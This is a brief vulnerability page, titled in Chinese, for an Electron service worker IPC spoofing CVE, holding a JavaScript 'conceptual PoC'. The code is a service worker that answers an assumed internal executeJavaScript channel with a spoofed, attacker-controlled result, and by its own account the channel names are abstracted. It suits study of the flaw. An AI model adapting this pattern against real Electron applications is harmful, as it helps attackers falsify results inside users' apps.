CVE-2026-34778 Electron Service Worker IPC欺骗漏洞

// Conceptual PoC for Service Worker IPC Spoofing // This is a simplified representation based on the vulnerability description. self.addEventListener('install', (event) => { self.skipWaiting(); }); self.addEventListener('activate', (event) => { event.waitUntil(self.clients.claim()); }); // Intercepting internal IPC messages (Conceptual) // In a real scenario, the attacker would need to target the specific IPC channel // used by webContents.executeJavaScript(). self.addEventListener('message', (event) => { // Check if the message corresponds to the internal IPC channel for executeJavaScript if (event.data && event.data.channel === 'ELECTRON_INTERNAL_RENDERER_EXECUTE_JAVASCRIPT') { // Send a spoofed reply to the main process // This overwrites the legitimate result with attacker-controlled data event.ports[0].postMessage({ result: true, // Spoofed success result value: 'ATTACKER_CONTROLLED_DATA' }); } }); // Note: The actual internal channel names and mechanisms are abstracted here.